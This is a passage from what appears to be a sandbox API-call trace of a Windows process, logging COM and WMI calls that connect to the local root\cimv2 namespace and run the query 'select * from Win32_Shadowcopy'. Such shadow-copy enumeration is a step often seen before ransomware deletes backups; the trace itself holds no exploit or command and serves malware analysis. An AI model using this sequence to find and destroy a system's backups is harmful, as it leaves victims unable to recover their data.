[6]=0x7d, [7]=0xcc)), ppvObject=0x5dbe460 | out: ppvObject=0x5dbe460*=0x5e608b8) returned 0x0 [0157.950] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x2 [0157.950] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x1 [0157.977] CoGetContextToken (in: pToken=0x5dbe4a8 | out: pToken=0x5dbe4a8) returned 0x0 [0157.977] CoGetContextToken (in: pToken=0x5dbe468 | out: pToken=0x5dbe468) returned 0x0 [0157.977] WbemDefPath:IUnknown:AddRef (This=0x5e608b8) returned 0x2 [0157.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e608b8, riid=0x5dbe4e4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5dbe4e0 | out: ppvObject=0x5dbe4e0*=0x5e608b8) returned 0x0 [0157.978] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x2 [0157.978] WbemDefPath:IUnknown:AddRef (This=0x5e608b8) returned 0x3 [0157.978] WbemDefPath:IWbemPath:SetText (This=0x5e608b8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0157.979] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x2 [0157.980] CoGetContextToken (in: pToken=0x5dbec84 | out: pToken=0x5dbec84) returned 0x0 [0157.980] CoGetContextToken (in: pToken=0x5dbec44 | out: pToken=0x5dbec44) returned 0x0 [0157.980] WbemDefPath:IUnknown:AddRef (This=0x5e60820) returned 0x2 [0157.980] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60820, riid=0x5dbecc0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5dbecbc | out: ppvObject=0x5dbecbc*=0x5e60820) returned 0x0 [0157.980] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x2 [0157.981] WbemDefPath:IUnknown:AddRef (This=0x5e60820) returned 0x3 [0157.981] WbemDefPath:IWbemPath:SetText (This=0x5e60820, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0157.981] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x2 [0157.993] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5e60820, puCount=0x5dbee28 | out: puCount=0x5dbee28*=0x2) returned 0x0 [0158.007] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=4, puBuffLength=0x5dbee24*=0x0, pszText=0x0 | out: puBuffLength=0x5dbee24*=0x17, pszText=0x0) returned 0x0 [0158.010] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=4, puBuffLength=0x5dbee24*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5dbee24*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0158.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5e60820, puCount=0x5dbee24 | out: puCount=0x5dbee24*=0x2) returned 0x0 [0158.115] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=4, puBuffLength=0x5dbee20*=0x0, pszText=0x0 | out: puBuffLength=0x5dbee20*=0x17, pszText=0x0) returned 0x0 [0158.115] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=4, puBuffLength=0x5dbee20*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5dbee20*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0158.115] CoGetObjectContext (in: riid=0x2e941a0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbeda0 | out: ppv=0x5dbeda0*=0x637a24) returned 0x0 [0158.116] IComThreadingInfo:GetCurrentApartmentType (in: This=0x637a24, pAptType=0x5dbed98 | out: pAptType=0x5dbed98*=1) returned 0x0 [0158.116] IUnknown:QueryInterface (in: This=0x637a24, riid=0x2e94188*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5dbed9c | out: ppvObject=0x5dbed9c*=0x0) returned 0x80004002 [0158.116] IUnknown:Release (This=0x637a24) returned 0x1 [0158.117] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x5dbec88 | out: lpiid=0x5dbec88) returned 0x0 [0158.117] CoGetClassObject (in: rclsid=0x6f37ec*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x748fa3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbebf0 | out: ppv=0x5dbebf0*=0x5e60ad0) returned 0x0 [0158.127] WbemLocator:IUnknown:QueryInterface (in: This=0x5e60ad0, riid=0x749e7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbea20 | out: ppvObject=0x5dbea20*=0x0) returned 0x80004002 [0158.127] WbemLocator:IClassFactory:CreateInstance (in: This=0x5e60ad0, pUnkOuter=0x0, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbea58 | out: ppvObject=0x5dbea58*=0x5e60bf0) returned 0x0 [0158.127] WbemLocator:IUnknown:QueryInterface (in: This=0x5e60bf0, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe7fc | out: ppvObject=0x5dbe7fc*=0x5e60bf0) returned 0x0 [0158.128] WbemLocator:IUnknown:QueryInterface (in: This=0x5e60bf0, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe7b8 | out: ppvObject=0x5dbe7b8*=0x0) returned 0x80004002 [0158.128] WbemLocator:IUnknown:AddRef (This=0x5e60bf0) returned 0x3 [0158.129] CoGetContextToken (in: pToken=0x5dbe644 | out: pToken=0x5dbe644) returned 0x0 [0158.129] WbemLocator:IUnknown:QueryInterface (in: This=0x5e60bf0, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe62c | out: ppvObject=0x5dbe62c*=0x0) returned 0x80004002 [0158.129] CoGetContextToken (in: pToken=0x5dbe63c | out: pToken=0x5dbe63c) returned 0x0 [0158.129] WbemLocator:IUnknown:AddRef (This=0x5e60bf0) returned 0x4 [0158.129] WbemLocator:IUnknown:QueryInterface (in: This=0x5e60bf0, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe6b0 | out: ppvObject=0x5dbe6b0*=0x0) returned 0x80004002 [0158.130] WbemLocator:IUnknown:Release (This=0x5e60bf0) returned 0x3 [0158.130] WbemLocator:IUnknown:Release (This=0x5e60bf0) returned 0x2 [0158.130] WbemLocator:IUnknown:Release (This=0x5e60ad0) returned 0x0 [0158.131] WbemLocator:IUnknown:Release (This=0x5e60bf0) returned 0x1 [0158.131] CoGetContextToken (in: pToken=0x5dbeb48 | out: pToken=0x5dbeb48) returned 0x0 [0158.131] CoGetContextToken (in: pToken=0x5dbeb08 | out: pToken=0x5dbeb08) returned 0x0 [0158.131] WbemLocator:IUnknown:AddRef (This=0x5e60bf0) returned 0x2 [0158.131] WbemLocator:IUnknown:QueryInterface (in: This=0x5e60bf0, riid=0x5dbeb84*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5dbeb80 | out: ppvObject=0x5dbeb80*=0x5e60bf0) returned 0x0 [0158.132] WbemLocator:IUnknown:Release (This=0x5e60bf0) returned 0x2 [0158.132] WbemLocator:IUnknown:Release (This=0x5e60bf0) returned 0x1 [0158.133] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5e60820, puCount=0x5dbed78 | out: puCount=0x5dbed78*=0x2) returned 0x0 [0158.136] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=8, puBuffLength=0x5dbed74*=0x0, pszText=0x0 | out: puBuffLength=0x5dbed74*=0x17, pszText=0x0) returned 0x0 [0158.138] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=8, puBuffLength=0x5dbed74*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5dbed74*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0158.138] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5dbe850 | out: ppv=0x5dbe850*=0x5e60c00) returned 0x0 [0158.138] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5e60c00, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5dbe89c | out: ppNamespace=0x5dbe89c*=0x5e6d3c4) returned 0x0 [0246.269] WbemLocator:IUnknown:QueryInterface (in: This=0x5e6d3c4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe76c | out: ppvObject=0x5dbe76c*=0x70cc94) returned 0x0 [0246.270] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x70cc94, pProxy=0x5e6d3c4, pAuthnSvc=0x5dbe7b4, pAuthzSvc=0x5dbe7b0, pServerPrincName=0x5dbe7c0, pAuthnLevel=0x5dbe7b8, pImpLevel=0x5dbe7a4, pAuthInfo=0x5dbe7a8, pCapabilites=0x5dbe7ac | out: pAuthnSvc=0x5dbe7b4*=0xa, pAuthzSvc=0x5dbe7b0*=0x0, pServerPrincName=0x5dbe7c0, pAuthnLevel=0x5dbe7b8*=0x6, pImpLevel=0x5dbe7a4*=0x2, pAuthInfo=0x5dbe7a8, pCapabilites=0x5dbe7ac*=0x1) returned 0x0 [0246.270] WbemLocator:IUnknown:Release (This=0x70cc94) returned 0x1 [0246.270] WbemLocator:IUnknown:QueryInterface (in: This=0x5e6d3c4, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe760 | out: ppvObject=0x5dbe760*=0x70ccb4) returned 0x0 [0246.270] WbemLocator:IUnknown:QueryInterface (in: This=0x5e6d3c4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe75c | out: ppvObject=0x5dbe75c*=0x70cc94) returned 0x0 [0246.270] WbemLocator:IClientSecurity:SetBlanket (This=0x70cc94, pProxy=0x5e6d3c4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0246.270] WbemLocator:IUnknown:Release (This=0x70cc94) returned 0x2 [0246.270] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x1 [0246.270] CoTaskMemFree (pv=0x6f2bb0) [0246.270] WbemLocator:IUnknown:Release (This=0x5e60c00) returned 0x0 [0246.271] WbemLocator:IUnknown:QueryInterface (in: This=0x5e6d3c4, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe11c | out: ppvObject=0x5dbe11c*=0x70ccb4) returned 0x0 [0246.271] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe0d8 | out: ppvObject=0x5dbe0d8*=0x0) returned 0x80004002 [0246.275] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x748c0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbdfcc | out: ppvObject=0x5dbdfcc*=0x0) returned 0x80004002 [0246.303] WbemLocator:IUnknown:AddRef (This=0x70ccb4) returned 0x3 [0246.303] CoGetContextToken (in: pToken=0x5dbdf64 | out: pToken=0x5dbdf64) returned 0x0 [0246.303] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdf4c | out: ppvObject=0x5dbdf4c*=0x70cc14) returned 0x0 [0246.312] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x70cc14, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5dbdf54 | out: pCid=0x5dbdf54*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0246.312] WbemLocator:IUnknown:Release (This=0x70cc14) returned 0x3 [0246.312] CoGetContextToken (in: pToken=0x5dbdf5c | out: pToken=0x5dbdf5c) returned 0x0 [0246.312] WbemLocator:IUnknown:AddRef (This=0x70ccb4) returned 0x4 [0246.313] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdfd0 | out: ppvObject=0x5dbdfd0*=0x70cc9c) returned 0x0 [0246.357] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x4 [0246.357] WbemLocator:IRpcOptions:Query (in: This=0x70cc9c, pPrx=0x70ccb4, dwProperty=2, pdwValue=0x5dbdff4 | out: pdwValue=0x5dbdff4) returned 0x80004002 [0246.358] WbemLocator:IUnknown:Release (This=0x70cc9c) returned 0x3 [0246.358] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x2 [0246.358] CoGetContextToken (in: pToken=0x5dbe3d0 | out: pToken=0x5dbe3d0) returned 0x0 [0246.358] CoGetContextToken (in: pToken=0x5dbe390 | out: pToken=0x5dbe390) returned 0x0 [0246.358] WbemLocator:IUnknown:AddRef (This=0x70ccb4) returned 0x3 [0246.358] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x5dbe40c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5dbe408 | out: ppvObject=0x5dbe408*=0x5e6d3c4) returned 0x0 [0246.359] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x3 [0246.359] WbemLocator:IUnknown:Release (This=0x5e6d3c4) returned 0x2 [0246.359] WbemLocator:IUnknown:Release (This=0x5e6d3c4) returned 0x1 [0246.362] CoGetContextToken (in: pToken=0x5dbecec | out: pToken=0x5dbecec) returned 0x0 [0246.362] WbemLocator:IUnknown:AddRef (This=0x70ccb4) returned 0x2 [0246.363] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe910 | out: ppvObject=0x5dbe910*=0x70ccb4) returned 0x0 [0246.363] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x2 [0246.363] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x1 [0246.364] CoGetContextToken (in: pToken=0x5dbe4f0 | out: pToken=0x5dbe4f0) returned 0x0 [0246.364] CoGetContextToken (in: pToken=0x5dbe4b0 | out: pToken=0x5dbe4b0) returned 0x0 [0246.364] WbemLocator:IUnknown:AddRef (This=0x70ccb4) returned 0x2 [0246.364] WbemLocator:IUnknown:QueryInterface (in: This=0x70ccb4, riid=0x5dbe52c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5dbe528 | out: ppvObject=0x5dbe528*=0x5e6d3c4) returned 0x0 [0246.364] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x2 [0246.364] WbemLocator:IUnknown:AddRef (This=0x5e6d3c4) returned 0x3 [0246.364] IWbemServices:ExecQuery (in: This=0x5e6d3c4, strQueryLanguage="WQL", strQuery="select * from Win32_Shadowcopy", lFlags=16, pCtx=0x0, ppEnum=0x5dbeb34 | out: ppEnum=0x5dbeb34*=0x5e6cb34) returned 0x0 [0248.223] IUnknown:QueryInterface (in: This=0x5e6cb34, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe7e0 | out: ppvObject=0x5dbe7e0*=0x5e6cb38) returned 0x0 [0248.223] IClientSecurity:QueryBlanket (in: This=0x5e6cb38, pProxy=0x5e6cb34, pAuthnSvc=0x5dbe828, pAuthzSvc=0x5dbe824, pServerPrincName=0x5dbe834, pAuthnLevel=0x5dbe82c, pImpLevel=0x5dbe818, pAuthInfo=0x5dbe81c, pCapabilites=0x5dbe820 | out: pAuthnSvc=0x5dbe828*=0xa, pAuthzSvc=0x5dbe824*=0x0, pServerPrincName=0x5dbe834, pAuthnLevel=0x5dbe82c*=0x6, pImpLevel=0x5dbe818*=0x2, pAuthInfo=0x5dbe81c, pCapabilites=0x5dbe820*=0x1) returned 0x0 [0248.224] IUnknown:Release (This=0x5e6cb38) returned 0x1 [0248.224] IUnknown:QueryInterface (in: This=0x5e6cb34, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe7d4 | out: ppvObject=0x5dbe7d4*=0x67bdbc) returned 0x0 [0248.224] IUnknown:QueryInterface (in: This=0x5e6cb34, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe7d0 | out: ppvObject=0x5dbe7d0*=0x5e6cb38) returned 0x0 [0248.224] IClientSecurity:SetBlanket (This=0x5e6cb38, pProxy=0x5e6cb34, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0248.264] IUnknown:Release (This=0x5e6cb38) returned 0x2 [0248.264] WbemLocator:IUnknown:Release (This=0x67bdbc) returned 0x1 [0248.264] CoTaskMemFree (pv=0x707c80) [0248.264] WbemLocator:IUnknown:Release (This=0x5e6d3c4) returned 0x2 [0248.265] IUnknown:QueryInterface (in: This=0x5e6cb34, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe18c | out: ppvObject=0x5dbe18c*=0x67bdbc) returned 0x0 [0248.265] WbemLocator:IUnknown:QueryInterface (in: This=0x67bdbc, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe148 | out: ppvObject=0x5dbe148*=0x0) returned 0x80004002 [0248.265] WbemLocator:IUnknown:QueryInterface (in: This=0x67bdbc, riid=0x748c0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbe03c | out: ppvObject=0x5dbe03c*=0x0) returned 0x80004002 [0248.266] WbemLocator:IUnknown:AddRef (This=0x67bdbc) returned 0x3 [0248.266] CoGetContextToken (in: pToken=0x5dbdfd4 | out: pToken=0x5dbdfd4) returned 0x0 [0248.266] WbemLocator:IUnknown:QueryInterface (in: This=0x67bdbc, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdfbc | out: ppvObject=0x5dbdfbc*=0x67bd1c) returned 0x0 [0248.266] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x67bd1c, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5dbdfc4 | out: pCid=0x5dbdfc4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0248.266] WbemLocator:IUnknown:Release (This=0x67bd1c) returned 0x3 [0248.266] CoGetContextToken (in: pToken=0x5dbdfcc | out: pToken=0x5dbdfcc) returned 0x0 [0248.266] WbemLocator:IUnknown:AddRef (This=0x67bdbc) returned 0x4 [0248.267] WbemLocator:IUnknown:QueryInterface (in: This=0x67bdbc, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe040 | out: ppvObject=0x5dbe040*=0x67bda4) returned 0x0 [0248.267] WbemLocator:IUnknown:Release (This=0x67bdbc) returned 0x4 [0248.267] WbemLocator:IRpcOptions:Query (in: This=0x67bda4, pPrx=0x67bdbc, dwProperty=2, pdwValue=0x5dbe064 | out: pdwValue=0x5dbe064) returned 0x80004002 [0248.267] WbemLocator:IUnknown:Release (This=0x67bda4) returned 0x3 [0248.267] WbemLocator:IUnknown:Release (This=0x67bdbc) returned 0x2 [0248.267] CoGetContextToken (in: pToken=0x5dbe440 | out: pToken=0x5dbe440) returned 0x0 [0248.267] CoGetContextToken (in: pToken=0x5dbe400 | out: pToken=0x5dbe400) returned 0x0 [0248.267] WbemLocator:IUnknown:AddRef (This=0x67bdbc) returned 0x3 [0248.267] WbemLocator:IUnknown:QueryInterface (in: This=0x67bdbc, riid=0x5dbe47c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5dbe478 | out: ppvObject=0x5dbe478*=0x5e6cb34) returned 0x0 [0248.267] WbemLocator:IUnknown:Release (This=0x67bdbc) returned 0x3 [0248.268] IUnknown:Release (This=0x5e6cb34) returned 0x2 [0248.268] IUnknown:Release (This=0x5e6cb34) returned 0x1 [0248.277] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5e60820, puCount=0x5dbedcc | out: puCount=0x5dbedcc*=0x2) returned 0x0 [0248.277] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=4, puBuffLength=0x5dbedc8*=0x0, pszText=0x0 | out: puBuffLength=0x5dbedc8*=0x17, pszText=0x0) returned 0x0 [0248.277] WbemDefPath:IWbemPath:GetText (in: This=0x5e60820, lFlags=4, puBuffLength=0x5dbedc8*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5dbedc8*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0248.277] CoGetContextToken (in: pToken=0x5dbe768 | out: pToken=0x5dbe768) returned 0x0 [0248.277] CoGetContextToken (in: pToken=0x5dbe728 | out: pToken=0x5dbe728) returned 0x0 [0248.278] WbemLocator:IUnknown:AddRef (This=0x67bdbc) returned 0x2 [0248.278] WbemLocator:IUnknown:QueryInterface (in: This=0x67bdbc, riid=0x5dbe7a4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5dbe7a0 | out: ppvObject=0x5dbe7a0*=0x5e6cb34) returned 0x0 [0248.278] WbemLocator:IUnknown:Release (This=0x67bdbc) returned 0x2 [0248.278] IUnknown:AddRef (This=0x5e6cb34) returned 0x3 [0248.278] IEnumWbemClassObject:Clone (in: This=0x5e6cb34, ppEnum=0x5dbed9c | out: ppEnum=0x5dbed9c*=0x5e6d464) returned 0x0 [0248.283] IUnknown:QueryInterface (in: This=0x5e6d464, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbea58 | out: ppvObject=0x5dbea58*=0x5e6d468) returned 0x0 [0248.283] IClientSecurity:QueryBlanket (in: This=0x5e6d468, pProxy=0x5e6d464, pAuthnSvc=0x5dbeaa0, pAuthzSvc=0x5dbea9c, pServerPrincName=0x5dbeaac, pAuthnLevel=0x5dbeaa4, pImpLevel=0x5dbea90, pAuthInfo=0x5dbea94, pCapabilites=0x5dbea98 | out: pAuthnSvc=0x5dbeaa0*=0xa, pAuthzSvc=0x5dbea9c*=0x0, pServerPrincName=0x5dbeaac, pAuthnLevel=0x5dbeaa4*=0x6, pImpLevel=0x5dbea90*=0x2, pAuthInfo=0x5dbea94, pCapabilites=0x5dbea98*=0x1) returned 0x0 [0248.283] IUnknown:Release (This=0x5e6d468) returned 0x1 [0248.283] IUnknown:QueryInterface (in: This=0x5e6d464, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbea4c | out: ppvObject=0x5dbea4c*=0x708c1c) returned 0x0 [0248.283] IUnknown:QueryInterface (in: This=0x5e6d464, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbea48 | out: ppvObject=0x5dbea48*=0x5e6d468) returned 0x0 [0248.283] 